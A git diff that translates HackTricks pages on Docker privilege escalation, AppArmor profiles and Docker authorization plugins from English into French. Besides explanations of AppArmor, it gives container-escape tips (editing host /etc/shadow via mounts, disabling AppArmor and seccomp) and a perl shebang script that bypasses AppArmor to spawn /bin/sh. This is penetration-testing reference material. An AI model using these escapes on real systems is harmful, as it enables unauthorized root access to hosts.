-type d 2>/dev/null` -**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +**Notez que tous les répertoires d'une machine Linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez `mount | grep -v "nosuid"`. Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid. -Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier à partir du conteneur Docker en tant que root afin de **les abuser sur l'hôte** et d'escalader les privilèges (peut-être en modifiant `/etc/shadow`). {% endhint %} -### Escaping from the container +### Évasion du conteneur -* **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -* **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +* **`--privileged`** -> Avec cet indicateur, vous [supprimez toute l'isolation du conteneur](docker-privileged.md#what-affects). Consultez les techniques pour [s'échapper des conteneurs privilégiés en tant que root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). +* **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Pour [escalader en abusant des capacités](../linux-capabilities.md), **accordez cette capacité au conteneur** et désactivez d'autres méthodes de protection qui pourraient empêcher l'exploit de fonctionner. ### Curl -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +Dans cette page, nous avons discuté des moyens d'escalader les privilèges en utilisant des indicateurs Docker, vous pouvez trouver des **moyens d'abuser de ces méthodes en utilisant la commande curl** dans la page : {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -63,14 +63,10 @@ In this page we have discussed ways to escalate privileges using docker flags, y ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - - +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlo diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index 1b5377076..13c206c71 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -1,46 +1,45 @@ -# AppArmor +## AppArmor
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -**AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources** with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. +**AppArmor** est une amélioration du noyau pour confiner les **programmes** à un **ensemble limité de ressources** avec des **profils par programme**. Les profils peuvent **autoriser des capacités** telles que l'accès au réseau, l'accès aux sockets bruts et la permission de lire, d'écrire ou d'exécuter des fichiers sur des chemins correspondants. -It's a Mandatory Access Control or **MAC** that binds **access control** attributes **to programs rather than to users**.\ -AppArmor confinement is provided via **profiles loaded into the kernel**, typically on boot.\ -AppArmor profiles can be in one of **two modes**: +Il s'agit d'un contrôle d'accès obligatoire ou **MAC** qui lie les attributs de **contrôle d'accès** aux programmes plutôt qu'aux utilisateurs.\ +Le confinement AppArmor est fourni via des **profils chargés dans le noyau**, généralement au démarrage.\ +Les profils AppArmor peuvent être dans l'un des **deux modes** : -* **Enforcement**: Profiles loaded in enforcement mode will result in **enforcement of the policy** defined in the profile **as well as reporting** policy violation attempts (either via syslog or auditd). -* **Complain**: Profiles in complain mode **will not enforce policy** but instead **report** policy **violation** attempts. +* **Exécution forcée** : Les profils chargés en mode exécution forcée entraîneront **l'application de la politique** définie dans le profil **ainsi que le signalement** des tentatives de violation de la politique (soit via syslog, soit via auditd). +* **Plainte** : Les profils en mode plainte **ne feront pas appliquer la politique** mais **signaleront** plutôt les tentatives de **violation de la politique**. -AppArmor differs from some other MAC systems on Linux: it is **path-based**, it allows mixing of enforcement and complain mode profiles, it uses include files to ease development, and it has a far lower barrier to entry than other popular MAC systems. +AppArmor diffère de certains autres systèmes MAC sur Linux : il est **basé sur le chemin**, il permet le mélange de profils en mode exécution forcée et en mode plainte, il utilise des fichiers d'inclusion pour faciliter le développement et il a une barrière d'entrée bien plus basse que d'autres systèmes MAC populaires. -### Parts of AppArmor +### Parties d'AppArmor -* **Kernel module**: Does the actual work -* **Policies**: Defines the behaviour and containment -* **Parser**: Loads the policies into kernel -* **Utilities**: Usermode programs to interact with apparmor +* **Module du noyau** : Fait le travail réel +* **Politiques** : Définit le comportement et la confinement +* **Analyseur** : Charge les politiques dans le noyau +* **Utilitaires** : Programmes en mode utilisateur pour interagir avec AppArmor -### Profiles path +### Chemin des profils -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +Les profils Apparmor sont généralement enregistrés dans _**/etc/apparmor.d/**_\ +Avec `sudo aa-status`, vous pourrez lister les binaires qui sont restreints par un profil. Si vous pouvez changer le caractère "/" pour un point du chemin de chaque binaire répertorié, vous obtiendrez le nom du profil Apparmor à l'intérieur du dossier mentionné. -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -### Commands +Par exemple, un profil **AppArmor** pour _/usr/bin/man_ sera situé dans _/etc/apparmor.d/usr.bin.man_ +### Commandes ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -50,48 +49,42 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +## Création d'un profil -## Creating a profile - -* In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -* To indicate the access the binary will have over **files** the following **access controls** can be used: - * **r** (read) - * **w** (write) - * **m** (memory map as executable) - * **k** (file locking) - * **l** (creation hard links) - * **ix** (to execute another program with the new program inheriting policy) - * **Px** (execute under another profile, after cleaning the environment) - * **Cx** (execute under a child profile, after cleaning the environment) - * **Ux** (execute unconfined, after cleaning the environment) -* **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -* **Deny rules are supported to override allow rules**. +* Pour indiquer l'exécutable affecté, les **chemins absolus et les caractères génériques** sont autorisés (pour la recherche de fichiers) pour spécifier les fichiers. +* Pour indiquer l'accès que le binaire aura aux **fichiers**, les **contrôles d'accès** suivants peuvent être utilisés : + * **r** (lecture) + * **w** (écriture) + * **m** (cartographie de la mémoire en tant qu'exécutable) + * **k** (verrouillage de fichier) + * **l** (création de liens durs) + * **ix** (pour exécuter un autre programme avec le nouveau programme héritant de la politique) + * **Px** (exécuter sous un autre profil, après nettoyage de l'environnement) + * **Cx** (exécuter sous un profil enfant, après nettoyage de l'environnement) + * **Ux** (exécuter sans confinement, après nettoyage de l'environnement) +* Des **variables** peuvent être définies dans les profils et peuvent être manipulées depuis l'extérieur du profil. Par exemple : @{PROC} et @{HOME} (ajouter #include \ au fichier de profil) +* Les **règles de refus sont prises en charge pour remplacer les règles d'autorisation**. ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +Pour commencer facilement à créer un profil, apparmor peut vous aider. Il est possible de faire **inspecter les actions effectuées par un binaire par apparmor, puis de vous laisser décider quelles actions vous voulez autoriser ou refuser**.\ +Il suffit d'exécuter : ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +Ensuite, dans une console différente, effectuez toutes les actions que le binaire effectuera normalement : ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +Ensuite, dans la première console, appuyez sur "**s**" et indiquez ensuite si vous voulez ignorer, autoriser ou autre chose pour les actions enregistrées. Lorsque vous avez terminé, appuyez sur "**f**" et le nouveau profil sera créé dans _/etc/apparmor.d/path.to.binary_ {% hint style="info" %} -Using the arrow keys you can select what you want to allow/deny/whatever +En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/autre {% endhint %} ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +Vous pouvez également créer un modèle de profil apparmor d'un binaire avec: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -116,31 +109,25 @@ sudo aa-easyprof /path/to/binary # No write paths specified } ``` - {% hint style="info" %} -Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. +Notez que par défaut, dans un profil créé, rien n'est autorisé, donc tout est refusé. Vous devrez ajouter des lignes comme `/etc/passwd r,` pour autoriser la lecture du binaire `/etc/passwd`, par exemple. {% endhint %} -You can then **enforce** the new profile with - +Vous pouvez ensuite **forcer** le nouveau profil avec ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### Modification d'un profil à partir des journaux -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +L'outil suivant lira les journaux et demandera à l'utilisateur s'il souhaite autoriser certaines des actions interdites détectées : ```bash sudo aa-logprof ``` - {% hint style="info" %} -Using the arrow keys you can select what you want to allow/deny/whatever +En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/autre. {% endhint %} -### Managing a Profile - +### Gestion d'un profil ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -148,18 +135,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` +## Journaux -## Logs - -Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - +Exemple de journaux **AUDIT** et **DENIED** provenant de _/var/log/audit/audit.log_ de l'exécutable **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +Vous pouvez également obtenir ces informations en utilisant : ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -177,11 +160,9 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` +## Apparmor dans Docker -## Apparmor in Docker - -Note how the profile **docker-profile** of docker is loaded by default: - +Notez comment le profil **docker-profile** de Docker est chargé par défaut: ```bash sudo aa-status apparmor module is loaded. @@ -197,107 +178,87 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` +Par défaut, le profil Apparmor docker-default est généré à partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor). -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Résumé du profil docker-default : -**docker-default profile Summary**: - -* **Access** to all **networking** -* **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -* **Writing** to any **/proc** file is **not allowed** -* Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -* **Mount** is **not allowed** -* **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +* Accès à tous les réseaux +* Aucune capacité n'est définie (Cependant, certaines capacités proviendront de l'inclusion de règles de base de base, c'est-à-dire #include \) +* L'écriture dans n'importe quel fichier /proc n'est pas autorisée +* Les autres sous-répertoires/fichiers de /proc et /sys sont refusés en lecture/écriture/verrouillage/liens/exécution +* Le montage n'est pas autorisé +* Ptrace ne peut être exécuté que sur un processus confiné par le même profil Apparmor. +Une fois que vous exécutez un conteneur Docker, vous devriez voir la sortie suivante : ```bash 1 processes are in enforce mode. docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS\_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +Notez que **apparmor bloquera même les privilèges de capacités** accordés au conteneur par défaut. Par exemple, il sera capable de **bloquer la permission d'écrire à l'intérieur de /proc même si la capacité SYS\_ADMIN est accordée** car par défaut le profil apparmor de docker refuse cet accès: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +Vous devez **désactiver apparmor** pour contourner ses restrictions: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +Notez que par défaut, **AppArmor** interdit également au conteneur de monter des dossiers de l'intérieur même avec la capacité SYS\_ADMIN. -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS\_ADMIN capability. +Notez que vous pouvez **ajouter/supprimer** des **capacités** au conteneur Docker (cela sera toujours restreint par des méthodes de protection comme **AppArmor** et **Seccomp**): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -* `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -* `--cap-add=ALL` give all caps -* `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +* `--cap-add=SYS_ADMIN` donne la capacité `SYS_ADMIN` +* `--cap-add=ALL` donne toutes les capacités +* `--cap-drop=ALL --cap-add=SYS_PTRACE` supprime toutes les capacités et ne donne que `SYS_PTRACE` {% hint style="info" %} -Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +Généralement, lorsque vous **constatez** que vous avez une **capacité privilégiée** disponible **à l'intérieur** d'un **conteneur docker mais** que certaines parties de l'**exploit ne fonctionnent pas**, cela est dû à ce que **AppArmor de docker l'empêche**. {% endhint %} -### Example +### Exemple -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +(Exemple tiré de [**ici**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) +Pour illustrer la fonctionnalité d'AppArmor, j'ai créé un nouveau profil Docker "mydocker" avec la ligne suivante ajoutée: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +Pour activer le profil, nous devons faire ce qui suit: ``` sudo apparmor_parser -r -W mydocker ``` - -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. - +Pour lister les profils, nous pouvons utiliser la commande suivante. La commande ci-dessous liste mon nouveau profil AppArmor. ``` $ sudo apparmor_status | grep mydocker mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +Comme indiqué ci-dessous, une erreur se produit lorsque nous essayons de modifier "/etc/" car le profil AppArmor empêche l'accès en écriture à "/etc". ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` +### Contournement d'AppArmor Docker1 -### AppArmor Docker Bypass1 - -You can find which **apparmor profile is running a container** using: - +Vous pouvez trouver quel **profil apparmor est en cours d'exécution dans un conteneur** en utilisant: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +Ensuite, vous pouvez exécuter la ligne suivante pour **trouver le profil exact utilisé**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` +Dans le cas étrange où vous pouvez **modifier le profil docker apparmor et le recharger**, vous pouvez supprimer les restrictions et les "contourner". -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. +### Contournement d'AppArmor Docker 2 -### AppArmor Docker Bypass2 +**AppArmor est basé sur les chemins d'accès**, cela signifie que même s'il peut **protéger** les fichiers à l'intérieur d'un répertoire comme **`/proc`**, si vous pouvez **configurer la façon dont le conteneur va être exécuté**, vous pouvez **monter** le répertoire proc de l'hôte à l'intérieur de **`/host/proc`** et il **ne sera plus protégé par AppArmor**. -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. - -### AppArmor Shebang Bypass - -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: +### Contournement d'AppArmor Shebang +Dans [**ce bogue**](https://bugs.launchpad.net/apparmor/+bug/1911431), vous pouvez voir un exemple de **comment, même si vous empêchez perl d'être exécuté avec certaines ressources**, si vous créez simplement un script shell **en spécifiant** dans la première ligne **`#!/usr/bin/perl`** et que vous **exécutez le fichier directement**, vous pourrez exécuter ce que vous voulez. Par exemple: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -307,15 +268,14 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 62829c791..d9f467c04 100644 --- a/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,90 +1,83 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +Le modèle d'**autorisation** par défaut de **Docker** est du type **tout ou rien**. Tout utilisateur ayant la permission d'accéder au démon Docker peut exécuter n'importe quelle commande client Docker. Il en va de même pour les appelants utilisant l'API Engine de Docker pour contacter le démon. Si vous avez besoin d'un **contrôle d'accès plus granulaire**, vous pouvez créer des **plugins d'autorisation** et les ajouter à la configuration de votre démon Docker. À l'aide d'un plugin d'autorisation, un administrateur Docker peut configurer des **politiques d'accès granulaires** pour gérer l'accès au démon Docker. -# Basic architecture +# Architecture de base -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +Les plugins d'authentification Docker sont des **plugins externes** que vous pouvez utiliser pour **autoriser/refuser** les **actions** demandées au démon Docker en fonction de l'utilisateur qui l'a demandé et de l'action demandée. -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +Lorsqu'une **requête HTTP** est effectuée sur le démon Docker via la CLI ou via l'API Engine, le **sous-système d'authentification** transmet la requête au(x) **plugin(s) d'authentification** installé(s). La requête contient l'utilisateur (appelant) et le contexte de commande. Le **plugin** est responsable de décider s'il faut **autoriser** ou **refuser** la demande. -The sequence diagrams below depict an allow and deny authorization flow: +Les diagrammes de séquence ci-dessous représentent un flux d'autorisation autorisé et refusé : -![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png) +![Flux d'autorisation autorisé](https://docs.docker.com/engine/extend/images/authz\_allow.png) -![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png) +![Flux d'autorisation refusé](https://docs.docker.com/engine/extend/images/authz\_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +Chaque demande envoyée au plugin **inclut l'utilisateur authentifié, les en-têtes HTTP et le corps de la demande/réponse**. Seul le **nom d'utilisateur** et la **méthode d'authentification** utilisée sont transmis au plugin. Plus important encore, **aucune** des **informations d'identification** ou des **jetons d'utilisateur** ne sont transmis. Enfin, **tous les corps de demande/réponse ne sont pas envoyés** au plugin d'autorisation. Seuls les 